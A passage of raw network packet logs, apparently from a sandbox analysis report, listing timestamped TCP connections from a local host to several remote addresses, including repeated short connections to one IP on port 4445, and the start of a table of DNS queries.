May 12, 2021 09:44:34.619740963 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.619793892 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.619837999 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.619966030 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.619992018 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.620086908 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.620203018 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.620240927 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.620290041 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.620448112 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.620604038 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.620641947 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.620722055 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.620842934 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.620963097 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.621082067 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.621124983 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.621201038 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.621305943 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.621486902 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.621526003 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.621537924 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.621731997 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.621846914 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.621861935 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.621874094 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.621968985 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.622128963 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.622143030 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.622155905 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.622323036 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.622483969 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.622602940 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.622639894 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.622652054 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.622721910 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.622844934 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.622967958 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.623042107 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.623078108 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.623281956 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.624016047 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.624078989 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.667221069 CEST	443	49709	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.667799950 CEST	49709	443	192.168.2.3	131.253.33.200
May 12, 2021 09:44:34.668416023 CEST	49709	443	192.168.2.3	131.253.33.200
May 12, 2021 09:44:34.715769053 CEST	443	49709	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.718159914 CEST	443	49709	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.718188047 CEST	443	49709	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.718204975 CEST	443	49709	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.718229055 CEST	443	49709	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.718251944 CEST	443	49709	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.718267918 CEST	443	49709	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.718272924 CEST	49709	443	192.168.2.3	131.253.33.200
May 12, 2021 09:44:34.718341112 CEST	49709	443	192.168.2.3	131.253.33.200
May 12, 2021 09:44:34.725361109 CEST	49709	443	192.168.2.3	131.253.33.200
May 12, 2021 09:44:34.773861885 CEST	443	49709	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.775266886 CEST	443	49709	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.775298119 CEST	443	49709	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.775392056 CEST	49709	443	192.168.2.3	131.253.33.200
May 12, 2021 09:44:34.776978016 CEST	49709	443	192.168.2.3	131.253.33.200
May 12, 2021 09:44:34.777097940 CEST	49709	443	192.168.2.3	131.253.33.200
May 12, 2021 09:44:34.777175903 CEST	49709	443	192.168.2.3	131.253.33.200
May 12, 2021 09:44:34.777255058 CEST	49709	443	192.168.2.3	131.253.33.200
May 12, 2021 09:44:34.824511051 CEST	443	49709	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.824541092 CEST	443	49709	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.824588060 CEST	443	49709	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.824599981 CEST	443	49709	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.824656963 CEST	49709	443	192.168.2.3	131.253.33.200
May 12, 2021 09:44:34.824753046 CEST	49709	443	192.168.2.3	131.253.33.200
May 12, 2021 09:44:34.824790001 CEST	443	49709	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.826029062 CEST	49709	443	192.168.2.3	131.253.33.200
May 12, 2021 09:44:34.872436047 CEST	443	49709	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.872467041 CEST	443	49709	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.872477055 CEST	443	49709	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.872488022 CEST	443	49709	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.872522116 CEST	443	49709	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.872535944 CEST	443	49709	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.872647047 CEST	49709	443	192.168.2.3	131.253.33.200
May 12, 2021 09:44:34.872709990 CEST	49709	443	192.168.2.3	131.253.33.200
May 12, 2021 09:44:34.873557091 CEST	443	49709	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.873663902 CEST	49709	443	192.168.2.3	131.253.33.200
May 12, 2021 09:44:34.873877048 CEST	443	49709	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.873933077 CEST	443	49709	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.874022961 CEST	49709	443	192.168.2.3	131.253.33.200
May 12, 2021 09:44:34.927228928 CEST	443	49709	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.927256107 CEST	443	49709	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.927385092 CEST	443	49709	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.927413940 CEST	49709	443	192.168.2.3	131.253.33.200
May 12, 2021 09:44:34.934429884 CEST	443	49709	131.253.33.200	192.168.2.3
May 12, 2021 09:44:35.060790062 CEST	443	49709	131.253.33.200	192.168.2.3
May 12, 2021 09:44:35.064780951 CEST	443	49709	131.253.33.200	192.168.2.3
May 12, 2021 09:44:35.105607986 CEST	443	49709	131.253.33.200	192.168.2.3
May 12, 2021 09:44:35.105716944 CEST	443	49709	131.253.33.200	192.168.2.3
May 12, 2021 09:44:35.105912924 CEST	443	49709	131.253.33.200	192.168.2.3
May 12, 2021 09:44:35.106021881 CEST	49709	443	192.168.2.3	131.253.33.200
May 12, 2021 09:44:35.173763037 CEST	443	49709	131.253.33.200	192.168.2.3
May 12, 2021 09:44:35.174434900 CEST	49709	443	192.168.2.3	131.253.33.200
May 12, 2021 09:44:44.382998943 CEST	49715	4445	192.168.2.3	185.222.57.171
May 12, 2021 09:44:44.432631969 CEST	4445	49715	185.222.57.171	192.168.2.3
May 12, 2021 09:44:44.946171045 CEST	49715	4445	192.168.2.3	185.222.57.171
May 12, 2021 09:44:44.992978096 CEST	4445	49715	185.222.57.171	192.168.2.3
May 12, 2021 09:44:45.493110895 CEST	49715	4445	192.168.2.3	185.222.57.171
May 12, 2021 09:44:45.539824963 CEST	4445	49715	185.222.57.171	192.168.2.3
May 12, 2021 09:44:49.909547091 CEST	49718	4445	192.168.2.3	185.222.57.171
May 12, 2021 09:44:49.956571102 CEST	4445	49718	185.222.57.171	192.168.2.3
May 12, 2021 09:44:50.462357998 CEST	49718	4445	192.168.2.3	185.222.57.171
May 12, 2021 09:44:50.508999109 CEST	4445	49718	185.222.57.171	192.168.2.3
May 12, 2021 09:44:51.024841070 CEST	49718	4445	192.168.2.3	185.222.57.171
May 12, 2021 09:44:51.073493004 CEST	4445	49718	185.222.57.171	192.168.2.3
May 12, 2021 09:44:55.096677065 CEST	49723	4445	192.168.2.3	185.222.57.171
May 12, 2021 09:44:55.143755913 CEST	4445	49723	185.222.57.171	192.168.2.3
May 12, 2021 09:44:55.728324890 CEST	49723	4445	192.168.2.3	185.222.57.171
May 12, 2021 09:44:55.777144909 CEST	4445	49723	185.222.57.171	192.168.2.3
May 12, 2021 09:44:56.337822914 CEST	49723	4445	192.168.2.3	185.222.57.171
May 12, 2021 09:44:56.385157108 CEST	4445	49723	185.222.57.171	192.168.2.3
May 12, 2021 09:45:00.401823997 CEST	49727	4445	192.168.2.3	185.222.57.171
May 12, 2021 09:45:00.448524952 CEST	4445	49727	185.222.57.171	192.168.2.3
May 12, 2021 09:45:01.041305065 CEST	49727	4445	192.168.2.3	185.222.57.171
May 12, 2021 09:45:01.089580059 CEST	4445	49727	185.222.57.171	192.168.2.3
May 12, 2021 09:45:01.728971004 CEST	49727	4445	192.168.2.3	185.222.57.171
May 12, 2021 09:45:01.775856018 CEST	4445	49727	185.222.57.171	192.168.2.3
May 12, 2021 09:45:03.021435022 CEST	49688	443	192.168.2.3	40.126.31.1
May 12, 2021 09:45:03.021480083 CEST	49688	443	192.168.2.3	40.126.31.1
May 12, 2021 09:45:03.028904915 CEST	49730	443	192.168.2.3	40.126.31.1
May 12, 2021 09:45:03.082567930 CEST	443	49688	40.126.31.1	192.168.2.3
May 12, 2021 09:45:03.091392040 CEST	443	49730	40.126.31.1	192.168.2.3
May 12, 2021 09:45:03.091593981 CEST	49730	443	192.168.2.3	40.126.31.1
May 12, 2021 09:45:03.091886997 CEST	49730	443	192.168.2.3	40.126.31.1
May 12, 2021 09:45:03.134720087 CEST	443	49688	40.126.31.1	192.168.2.3
May 12, 2021 09:45:03.180931091 CEST	443	49730	40.126.31.1	192.168.2.3
May 12, 2021 09:45:03.180973053 CEST	443	49730	40.126.31.1	192.168.2.3
May 12, 2021 09:45:03.181000948 CEST	443	49730	40.126.31.1	192.168.2.3
May 12, 2021 09:45:03.181025982 CEST	443	49730	40.126.31.1	192.168.2.3
May 12, 2021 09:45:03.181046009 CEST	443	49730	40.126.31.1	192.168.2.3
May 12, 2021 09:45:03.181063890 CEST	49730	443	192.168.2.3	40.126.31.1
May 12, 2021 09:45:03.181134939 CEST	49730	443	192.168.2.3	40.126.31.1
May 12, 2021 09:45:03.190138102 CEST	49730	443	192.168.2.3	40.126.31.1
May 12, 2021 09:45:03.227632046 CEST	443	49688	40.126.31.1	192.168.2.3
May 12, 2021 09:45:03.227670908 CEST	443	49688	40.126.31.1	192.168.2.3
May 12, 2021 09:45:03.227689981 CEST	443	49688	40.126.31.1	192.168.2.3
May 12, 2021 09:45:03.227714062 CEST	443	49688	40.126.31.1	192.168.2.3
May 12, 2021 09:45:03.227736950 CEST	443	49688	40.126.31.1	192.168.2.3
May 12, 2021 09:45:03.227758884 CEST	443	49688	40.126.31.1	192.168.2.3
May 12, 2021 09:45:03.227778912 CEST	443	49688	40.126.31.1	192.168.2.3
May 12, 2021 09:45:03.227802992 CEST	443	49688	40.126.31.1	192.168.2.3
May 12, 2021 09:45:03.227819920 CEST	49688	443	192.168.2.3	40.126.31.1
May 12, 2021 09:45:03.227828026 CEST	443	49688	40.126.31.1	192.168.2.3
May 12, 2021 09:45:03.227891922 CEST	49688	443	192.168.2.3	40.126.31.1
May 12, 2021 09:45:03.264776945 CEST	443	49730	40.126.31.1	192.168.2.3
May 12, 2021 09:45:03.265784025 CEST	49730	443	192.168.2.3	40.126.31.1
May 12, 2021 09:45:03.265841007 CEST	49730	443	192.168.2.3	40.126.31.1
May 12, 2021 09:45:03.328687906 CEST	443	49730	40.126.31.1	192.168.2.3
May 12, 2021 09:45:03.328715086 CEST	443	49730	40.126.31.1	192.168.2.3
May 12, 2021 09:45:03.507781982 CEST	443	49730	40.126.31.1	192.168.2.3
May 12, 2021 09:45:03.507827044 CEST	443	49730	40.126.31.1	192.168.2.3
May 12, 2021 09:45:03.507853031 CEST	443	49730	40.126.31.1	192.168.2.3
May 12, 2021 09:45:03.507877111 CEST	443	49730	40.126.31.1	192.168.2.3
May 12, 2021 09:45:03.507900953 CEST	443	49730	40.126.31.1	192.168.2.3
May 12, 2021 09:45:03.507926941 CEST	443	49730	40.126.31.1	192.168.2.3
May 12, 2021 09:45:03.507955074 CEST	443	49730	40.126.31.1	192.168.2.3
May 12, 2021 09:45:03.507980108 CEST	443	49730	40.126.31.1	192.168.2.3
May 12, 2021 09:45:03.507997990 CEST	49730	443	192.168.2.3	40.126.31.1
May 12, 2021 09:45:03.508001089 CEST	443	49730	40.126.31.1	192.168.2.3
May 12, 2021 09:45:03.508028984 CEST	49730	443	192.168.2.3	40.126.31.1
May 12, 2021 09:45:03.508033037 CEST	49730	443	192.168.2.3	40.126.31.1
May 12, 2021 09:45:03.699495077 CEST	49730	443	192.168.2.3	40.126.31.1
May 12, 2021 09:45:05.792951107 CEST	49734	4445	192.168.2.3	185.222.57.171
May 12, 2021 09:45:05.840812922 CEST	4445	49734	185.222.57.171	192.168.2.3
May 12, 2021 09:45:06.401141882 CEST	49734	4445	192.168.2.3	185.222.57.171
May 12, 2021 09:45:06.449424982 CEST	4445	49734	185.222.57.171	192.168.2.3
May 12, 2021 09:45:07.088681936 CEST	49734	4445	192.168.2.3	185.222.57.171
May 12, 2021 09:45:07.099282026 CEST	443	49698	184.30.24.56	192.168.2.3
May 12, 2021 09:45:07.099308014 CEST	443	49698	184.30.24.56	192.168.2.3
May 12, 2021 09:45:07.099423885 CEST	49698	443	192.168.2.3	184.30.24.56
May 12, 2021 09:45:07.099486113 CEST	49698	443	192.168.2.3	184.30.24.56
May 12, 2021 09:45:07.135340929 CEST	4445	49734	185.222.57.171	192.168.2.3
May 12, 2021 09:45:11.153064013 CEST	49735	4445	192.168.2.3	185.222.57.171
May 12, 2021 09:45:11.199717999 CEST	4445	49735	185.222.57.171	192.168.2.3
May 12, 2021 09:45:11.901743889 CEST	49735	4445	192.168.2.3	185.222.57.171
May 12, 2021 09:45:11.948611021 CEST	4445	49735	185.222.57.171	192.168.2.3
May 12, 2021 09:45:12.551819086 CEST	49735	4445	192.168.2.3	185.222.57.171
May 12, 2021 09:45:12.600868940 CEST	4445	49735	185.222.57.171	192.168.2.3
May 12, 2021 09:45:16.728347063 CEST	49736	4445	192.168.2.3	185.222.57.171
May 12, 2021 09:45:16.775208950 CEST	4445	49736	185.222.57.171	192.168.2.3
May 12, 2021 09:45:17.401959896 CEST	49736	4445	192.168.2.3	185.222.57.171
May 12, 2021 09:45:17.448529005 CEST	4445	49736	185.222.57.171	192.168.2.3
May 12, 2021 09:45:18.089565992 CEST	49736	4445	192.168.2.3	185.222.57.171
May 12, 2021 09:45:18.138219118 CEST	4445	49736	185.222.57.171	192.168.2.3
May 12, 2021 09:45:22.155076027 CEST	49738	4445	192.168.2.3	185.222.57.171
May 12, 2021 09:45:22.203874111 CEST	4445	49738	185.222.57.171	192.168.2.3
May 12, 2021 09:45:22.903803110 CEST	49738	4445	192.168.2.3	185.222.57.171
May 12, 2021 09:45:22.950366020 CEST	4445	49738	185.222.57.171	192.168.2.3
May 12, 2021 09:45:23.590010881 CEST	49738	4445	192.168.2.3	185.222.57.171
May 12, 2021 09:45:23.636818886 CEST	4445	49738	185.222.57.171	192.168.2.3
May 12, 2021 09:45:24.333139896 CEST	80	49680	93.184.220.29	192.168.2.3
May 12, 2021 09:45:24.333415031 CEST	49680	80	192.168.2.3	93.184.220.29
May 12, 2021 09:45:24.371906042 CEST	49685	443	192.168.2.3	2.17.179.193
May 12, 2021 09:45:24.372903109 CEST	49686	80	192.168.2.3	84.53.167.113
May 12, 2021 09:45:24.414576054 CEST	443	49685	2.17.179.193	192.168.2.3
May 12, 2021 09:45:24.414602041 CEST	443	49685	2.17.179.193	192.168.2.3
May 12, 2021 09:45:24.414738894 CEST	49685	443	192.168.2.3	2.17.179.193
May 12, 2021 09:45:24.414778948 CEST	49685	443	192.168.2.3	2.17.179.193
May 12, 2021 09:45:24.416059017 CEST	80	49686	84.53.167.113	192.168.2.3
May 12, 2021 09:45:24.416199923 CEST	49686	80	192.168.2.3	84.53.167.113
May 12, 2021 09:45:24.452780962 CEST	80	49681	93.184.220.29	192.168.2.3
May 12, 2021 09:45:24.455068111 CEST	49681	80	192.168.2.3	93.184.220.29
May 12, 2021 09:45:26.124680042 CEST	80	49690	93.184.220.29	192.168.2.3
May 12, 2021 09:45:26.125216007 CEST	49690	80	192.168.2.3	93.184.220.29
May 12, 2021 09:45:26.222050905 CEST	49691	443	192.168.2.3	184.30.21.219
May 12, 2021 09:45:26.222723007 CEST	49692	80	192.168.2.3	93.184.220.29
May 12, 2021 09:45:27.654360056 CEST	49740	4445	192.168.2.3	185.222.57.171
May 12, 2021 09:45:27.701071978 CEST	4445	49740	185.222.57.171	192.168.2.3
May 12, 2021 09:45:28.402884960 CEST	49740	4445	192.168.2.3	185.222.57.171
May 12, 2021 09:45:28.449491978 CEST	4445	49740	185.222.57.171	192.168.2.3
May 12, 2021 09:45:28.804075003 CEST	49704	443	192.168.2.3	131.253.33.200
May 12, 2021 09:45:28.804131985 CEST	49703	443	192.168.2.3	131.253.33.200
May 12, 2021 09:45:28.987746954 CEST	49740	4445	192.168.2.3	185.222.57.171
May 12, 2021 09:45:29.034501076 CEST	4445	49740	185.222.57.171	192.168.2.3
May 12, 2021 09:45:33.045128107 CEST	49741	4445	192.168.2.3	185.222.57.171
May 12, 2021 09:45:33.091896057 CEST	4445	49741	185.222.57.171	192.168.2.3
May 12, 2021 09:45:33.700243950 CEST	49741	4445	192.168.2.3	185.222.57.171
May 12, 2021 09:45:33.746948957 CEST	4445	49741	185.222.57.171	192.168.2.3
May 12, 2021 09:45:34.403435946 CEST	49741	4445	192.168.2.3	185.222.57.171
May 12, 2021 09:45:34.452059031 CEST	4445	49741	185.222.57.171	192.168.2.3
May 12, 2021 09:45:38.545645952 CEST	49743	4445	192.168.2.3	185.222.57.171
May 12, 2021 09:45:38.592359066 CEST	4445	49743	185.222.57.171	192.168.2.3
May 12, 2021 09:45:39.200716972 CEST	49743	4445	192.168.2.3	185.222.57.171
May 12, 2021 09:45:39.247387886 CEST	4445	49743	185.222.57.171	192.168.2.3
May 12, 2021 09:45:39.794467926 CEST	49743	4445	192.168.2.3	185.222.57.171
May 12, 2021 09:45:39.842942953 CEST	4445	49743	185.222.57.171	192.168.2.3
May 12, 2021 09:45:43.858617067 CEST	49749	4445	192.168.2.3	185.222.57.171
May 12, 2021 09:45:43.905544043 CEST	4445	49749	185.222.57.171	192.168.2.3
May 12, 2021 09:45:44.419833899 CEST	49749	4445	192.168.2.3	185.222.57.171
May 12, 2021 09:45:44.466552019 CEST	4445	49749	185.222.57.171	192.168.2.3
May 12, 2021 09:45:44.966773987 CEST	49749	4445	192.168.2.3	185.222.57.171
May 12, 2021 09:45:45.013648033 CEST	4445	49749	185.222.57.171	192.168.2.3
May 12, 2021 09:45:49.030966997 CEST	49750	4445	192.168.2.3	185.222.57.171
May 12, 2021 09:45:49.077794075 CEST	4445	49750	185.222.57.171	192.168.2.3
May 12, 2021 09:45:49.592117071 CEST	49750	4445	192.168.2.3	185.222.57.171
May 12, 2021 09:45:49.638776064 CEST	4445	49750	185.222.57.171	192.168.2.3
May 12, 2021 09:45:50.139066935 CEST	49750	4445	192.168.2.3	185.222.57.171
May 12, 2021 09:45:50.189258099 CEST	4445	49750	185.222.57.171	192.168.2.3
May 12, 2021 09:45:54.204571962 CEST	49751	4445	192.168.2.3	185.222.57.171
May 12, 2021 09:45:54.251404047 CEST	4445	49751	185.222.57.171	192.168.2.3
May 12, 2021 09:45:54.764425993 CEST	49751	4445	192.168.2.3	185.222.57.171
May 12, 2021 09:45:54.811146021 CEST	4445	49751	185.222.57.171	192.168.2.3
May 12, 2021 09:45:55.312032938 CEST	49751	4445	192.168.2.3	185.222.57.171
May 12, 2021 09:45:55.358885050 CEST	4445	49751	185.222.57.171	192.168.2.3
May 12, 2021 09:45:59.491242886 CEST	49752	4445	192.168.2.3	185.222.57.171
May 12, 2021 09:45:59.538517952 CEST	4445	49752	185.222.57.171	192.168.2.3
May 12, 2021 09:46:00.046471119 CEST	49752	4445	192.168.2.3	185.222.57.171
May 12, 2021 09:46:00.094532967 CEST	4445	49752	185.222.57.171	192.168.2.3
May 12, 2021 09:46:00.608733892 CEST	49752	4445	192.168.2.3	185.222.57.171
May 12, 2021 09:46:00.655381918 CEST	4445	49752	185.222.57.171	192.168.2.3
May 12, 2021 09:46:04.674376965 CEST	49753	4445	192.168.2.3	185.222.57.171
May 12, 2021 09:46:04.721966982 CEST	4445	49753	185.222.57.171	192.168.2.3
May 12, 2021 09:46:05.234136105 CEST	49753	4445	192.168.2.3	185.222.57.171
May 12, 2021 09:46:05.280957937 CEST	4445	49753	185.222.57.171	192.168.2.3
May 12, 2021 09:46:05.796917915 CEST	49753	4445	192.168.2.3	185.222.57.171
May 12, 2021 09:46:05.844980955 CEST	4445	49753	185.222.57.171	192.168.2.3
May 12, 2021 09:46:10.378361940 CEST	49754	4445	192.168.2.3	185.222.57.171
May 12, 2021 09:46:10.425012112 CEST	4445	49754	185.222.57.171	192.168.2.3
May 12, 2021 09:46:10.938378096 CEST	49754	4445	192.168.2.3	185.222.57.171
May 12, 2021 09:46:10.985040903 CEST	4445	49754	185.222.57.171	192.168.2.3
May 12, 2021 09:46:11.500351906 CEST	49754	4445	192.168.2.3	185.222.57.171
May 12, 2021 09:46:11.547396898 CEST	4445	49754	185.222.57.171	192.168.2.3
May 12, 2021 09:46:13.438338995 CEST	49680	80	192.168.2.3	93.184.220.29
May 12, 2021 09:46:13.438416004 CEST	49681	80	192.168.2.3	93.184.220.29
May 12, 2021 09:46:13.438530922 CEST	49693	443	192.168.2.3	20.190.160.5
May 12, 2021 09:46:13.479768991 CEST	80	49680	93.184.220.29	192.168.2.3
May 12, 2021 09:46:13.479870081 CEST	49680	80	192.168.2.3	93.184.220.29
May 12, 2021 09:46:13.480216026 CEST	80	49681	93.184.220.29	192.168.2.3
May 12, 2021 09:46:13.480309963 CEST	49681	80	192.168.2.3	93.184.220.29
May 12, 2021 09:46:13.486603022 CEST	443	49693	20.190.160.5	192.168.2.3
May 12, 2021 09:46:13.486696959 CEST	49693	443	192.168.2.3	20.190.160.5
May 12, 2021 09:46:13.532887936 CEST	49688	443	192.168.2.3	40.126.31.1
May 12, 2021 09:46:13.532936096 CEST	49730	443	192.168.2.3	40.126.31.1
May 12, 2021 09:46:13.593801022 CEST	443	49688	40.126.31.1	192.168.2.3
May 12, 2021 09:46:13.593961000 CEST	49688	443	192.168.2.3	40.126.31.1
May 12, 2021 09:46:13.595237017 CEST	443	49730	40.126.31.1	192.168.2.3
May 12, 2021 09:46:13.595345974 CEST	49730	443	192.168.2.3	40.126.31.1
May 12, 2021 09:46:15.564555883 CEST	49756	4445	192.168.2.3	185.222.57.171
May 12, 2021 09:46:15.611275911 CEST	4445	49756	185.222.57.171	192.168.2.3
May 12, 2021 09:46:16.125554085 CEST	49756	4445	192.168.2.3	185.222.57.171
May 12, 2021 09:46:16.172287941 CEST	4445	49756	185.222.57.171	192.168.2.3
May 12, 2021 09:46:16.688179970 CEST	49756	4445	192.168.2.3	185.222.57.171
May 12, 2021 09:46:16.736018896 CEST	4445	49756	185.222.57.171	192.168.2.3
May 12, 2021 09:46:20.864311934 CEST	49758	4445	192.168.2.3	185.222.57.171
May 12, 2021 09:46:20.911199093 CEST	4445	49758	185.222.57.171	192.168.2.3
May 12, 2021 09:46:21.422991037 CEST	49758	4445	192.168.2.3	185.222.57.171
May 12, 2021 09:46:21.469801903 CEST	4445	49758	185.222.57.171	192.168.2.3
May 12, 2021 09:46:21.985524893 CEST	49758	4445	192.168.2.3	185.222.57.171
May 12, 2021 09:46:22.032299995 CEST	4445	49758	185.222.57.171	192.168.2.3
May 12, 2021 09:46:26.049803019 CEST	49759	4445	192.168.2.3	185.222.57.171
May 12, 2021 09:46:26.096534967 CEST	4445	49759	185.222.57.171	192.168.2.3
May 12, 2021 09:46:26.610924006 CEST	49759	4445	192.168.2.3	185.222.57.171
May 12, 2021 09:46:26.657702923 CEST	4445	49759	185.222.57.171	192.168.2.3
May 12, 2021 09:46:27.159843922 CEST	49759	4445	192.168.2.3	185.222.57.171
May 12, 2021 09:46:27.208744049 CEST	4445	49759	185.222.57.171	192.168.2.3
May 12, 2021 09:46:27.560575962 CEST	80	49690	93.184.220.29	192.168.2.3
May 12, 2021 09:46:27.560802937 CEST	49690	80	192.168.2.3	93.184.220.29
May 12, 2021 09:46:31.225220919 CEST	49760	4445	192.168.2.3	185.222.57.171
May 12, 2021 09:46:31.273758888 CEST	4445	49760	185.222.57.171	192.168.2.3
May 12, 2021 09:46:31.783077002 CEST	49760	4445	192.168.2.3	185.222.57.171
May 12, 2021 09:46:31.835949898 CEST	4445	49760	185.222.57.171	192.168.2.3
May 12, 2021 09:46:32.345626116 CEST	49760	4445	192.168.2.3	185.222.57.171
May 12, 2021 09:46:32.393502951 CEST	4445	49760	185.222.57.171	192.168.2.3
May 12, 2021 09:46:36.410826921 CEST	49761	4445	192.168.2.3	185.222.57.171
May 12, 2021 09:46:36.457580090 CEST	4445	49761	185.222.57.171	192.168.2.3
May 12, 2021 09:46:36.971034050 CEST	49761	4445	192.168.2.3	185.222.57.171
May 12, 2021 09:46:36.975614071 CEST	443	49723	184.30.24.56	192.168.2.3
May 12, 2021 09:46:36.975635052 CEST	443	49723	184.30.24.56	192.168.2.3
May 12, 2021 09:46:36.975699902 CEST	49723	443	192.168.2.3	184.30.24.56
May 12, 2021 09:46:36.975748062 CEST	49723	443	192.168.2.3	184.30.24.56
May 12, 2021 09:46:37.017750025 CEST	4445	49761	185.222.57.171	192.168.2.3
May 12, 2021 09:46:37.517945051 CEST	49761	4445	192.168.2.3	185.222.57.171
May 12, 2021 09:46:37.564656019 CEST	4445	49761	185.222.57.171	192.168.2.3
May 12, 2021 09:46:38.482383966 CEST	443	49709	131.253.33.200	192.168.2.3
May 12, 2021 09:46:39.250924110 CEST	80	49690	93.184.220.29	192.168.2.3
May 12, 2021 09:46:39.251508951 CEST	49690	80	192.168.2.3	93.184.220.29
May 12, 2021 09:46:41.582178116 CEST	49762	4445	192.168.2.3	185.222.57.171
May 12, 2021 09:46:41.628820896 CEST	4445	49762	185.222.57.171	192.168.2.3
May 12, 2021 09:46:42.143428087 CEST	49762	4445	192.168.2.3	185.222.57.171
May 12, 2021 09:46:42.190654993 CEST	4445	49762	185.222.57.171	192.168.2.3
May 12, 2021 09:46:42.705871105 CEST	49762	4445	192.168.2.3	185.222.57.171
May 12, 2021 09:46:42.753444910 CEST	4445	49762	185.222.57.171	192.168.2.3
May 12, 2021 09:46:46.769486904 CEST	49763	4445	192.168.2.3	185.222.57.171
May 12, 2021 09:46:46.819112062 CEST	4445	49763	185.222.57.171	192.168.2.3
May 12, 2021 09:46:47.331264019 CEST	49763	4445	192.168.2.3	185.222.57.171
May 12, 2021 09:46:47.377944946 CEST	4445	49763	185.222.57.171	192.168.2.3
May 12, 2021 09:46:47.893791914 CEST	49763	4445	192.168.2.3	185.222.57.171
May 12, 2021 09:46:47.940993071 CEST	4445	49763	185.222.57.171	192.168.2.3

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 12, 2021 09:44:28.892548084 CEST	64938	53	192.168.2.3	8.8.8.8
May 12, 2021 09:44:28.941346884 CEST	53	64938	8.8.8.8	192.168.2.3
May 12, 2021 09:44:30.280045033 CEST	60152	53	192.168.2.3	8.8.8.8
May 12, 2021 09:44:30.328808069 CEST	53	60152	8.8.8.8	192.168.2.3
May 12, 2021 09:44:33.119975090 CEST	57544	53	192.168.2.3	8.8.8.8
May 12, 2021 09:44:33.173728943 CEST	53	57544	8.8.8.8	192.168.2.3
May 12, 2021 09:44:34.520463943 CEST	55984	53	192.168.2.3	8.8.8.8
May 12, 2021 09:44:34.586055994 CEST	53	55984	8.8.8.8	192.168.2.3
May 12, 2021 09:44:35.818169117 CEST	64185	53	192.168.2.3	8.8.8.8
May 12, 2021 09:44:35.868401051 CEST	53	64185	8.8.8.8	192.168.2.3
May 12, 2021 09:44:37.162779093 CEST	65110	53	192.168.2.3	8.8.8.8
